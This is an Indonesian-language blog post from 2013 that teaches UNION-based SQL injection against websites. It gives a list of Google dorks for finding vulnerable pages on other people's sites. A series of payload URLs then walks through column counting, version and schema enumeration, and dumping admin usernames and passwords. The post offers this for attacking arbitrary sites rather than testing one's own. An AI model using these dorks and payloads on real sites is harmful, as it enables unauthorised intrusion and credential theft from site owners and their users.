Friday 25 January 2013

SQL Injection Tutorial


Untuk Mencari Inject
Mencari SQLI sangat mudah,semua yang perlu ente2 lakukan adalah Googling . Hal pertama yang perlu ente2 lakukan adalah menemukan beberapa dorks
Code:

inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:read.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()

Lebih lengkap, silakan dicari di Google Dorknya :)

PART 1

Pilih salah satu dorks dan menambahkan inurl: sebelum
(Jika mereka belum memiliki itu) dan kemudian salin dan sisipkan
ke google. Pilih salah satu situs dari google dan chek 1-1.
Sebagai contoh url dari halaman ente berada mungkin terlihat seperti ini
Code:

http://www.example.com/index.php?id=3

untuk memeriksa adanya Bug MySQL tinggal tambahin “‘” di akhir URL
contoh
Code:

http://www.example.com/index.php?id=3'

tekan enter sampai ente2 mendapatkan ERROR
Mendapatkan Jumlah Kolom
Setelah ente menemukan situs yg udah di siapin ,langkah pertama yang perlu ente2 ambil adalah
untuk menemukan jumlah kolom. Cara termudah untuk melakukannya adalah
menggunakan pernyataan “order by”. Yang harus ente lakukan adalah meletakkan ORDER BY (angka) -
pada akhir url ente. Jadi seharusnya terlihat seperti ini.
Code:

http://www.example.com/index.php?id=3 ORDER BY (number)--

setelahnya ane ubah jadi bahasa inggris dah..
capek translatenya
wkwkwkwkwkwkwkwkwkw :P
Yuk kita lanjutkan ke order by 8– kamu akan mendapatkan sebuah error. Ini membuktikan bahwa table database hanya memiliki 7 kolom, ini dibuktikan bahwa ketika anda melakukan order by lebih dari 7, akan selalu error. Jika kamu memiliki memory yang kurang baik, silakan buka notepad & catat kolom-kolom yang anda temukan.
Menemukan kolom yang dapat di akses

Setelah kita mengetahui kolom yang ada di table database, sekarang kita akan mencari informasi & data apa yang bisa diambil dari sana.
Kita melakukan hal tersebut dengan menggunakan fungsi “UNION” “SELECT” dan NOMOR KOLOM. Kita selipkan seluruhnya dalam URL, seperti contoh berikut:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--

Jangan lupa untuk menyisipkan tanda “-” sebelum code dimulai, jadi sebagai contoh di atas kita selipka tanda “-” didepan angka “3“, nah setelah semua dilakukan, maka akan muncul table yang memiliki isi didalamnya. Catatlah nomor kolom table yang memiliki informasi di dalam database tersebut. Klo lupa, simpan dulu di notepad.
Finding MySQL Database Version
Sebelum kita melanjutkan hal ini, maka yang perlu kita ketahui adalah versi dari database.
URL nya adalah sebagai berikut:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--

Kita ganti angka “1” dengan  “@@version” untuk mengetahui informasi versi database, berikut contohnya:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--

Tekan enter, maka anda akan menemukan informasi database yang digunakan.
Hal ini biasanya bekerja pada versi database 5.* keatas.
Finding Database Names

Selanjutkan kita akan inject website untuk menemukan database names. Kita lakukan hal ini dengan mengganti “@@version
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nomor kolom terakhir di table database.
Seperti ini contoh URLnya:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--

Hal tersebut akan menunjukkan daftar nama database. Sekarang untuk menemukan database mana yang saat ini dipakai adalah dengan mengganti “group_concat(schema_name)” dengan concat(database()) dan hapus “+ from+information_schema.schemata
Jadi URL nya akan menjadi seperti ini:
Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--

Selamat, anda telah mendapatkan informasi database yang saat ini digunakan.
Menemukan Nama Table

Untuk mengetahui nama table yang digunakan dalam database, anda harus mengganti “concat(database())” dengan group_concat(table_name) dan tambahkan “from information_schema.tables where table_schema=database()” diantara nomor awal dan “–” hapus juga tanda “+” dari “union select“.
Urlnya akan tampak seperti berikut:
Code:

http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--

Nah, hal tersebut akan menampilkan nama table yang digunakan di database.
Menemukan Nama Kolom

Lakukan dengan hanya merubah “table_name” ke “column_name” dan “information_schema.tables” ke “information_schema.columns”.
Url akan tampak seperti ini:
Code:

http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--

Hal tersebut akan memunculkan nama table.
Misalkan nama colom seperti berikut:
admin_username
admin_password
Mengambil Informasi Database
Sekarang kita sudah mengetahui “database name, table names, dan colomn names”, kita bisa menyatukannya bersama-sama dan mengeluarkan informasi yang ada di sana, kita lakukan dengan contoh berikut:
Code:

http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--

Sekarang ganti “columnname” dengan kolom yang anda mau ambil informasinta. “0x3a” akan membuat jeda diantara informasi yang anda dapatkan dari masing-masing colom. Jangan lupa juga untuk merubah “databasename.tablename” dengan database dan nama tabel dimana kolom ada di database dan tabel tersebut.
Sebagai contoh:
Code:

http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--

Sekarang anda akan mendapatkan informasi username & database

Source : Here

No comments:

Post a Comment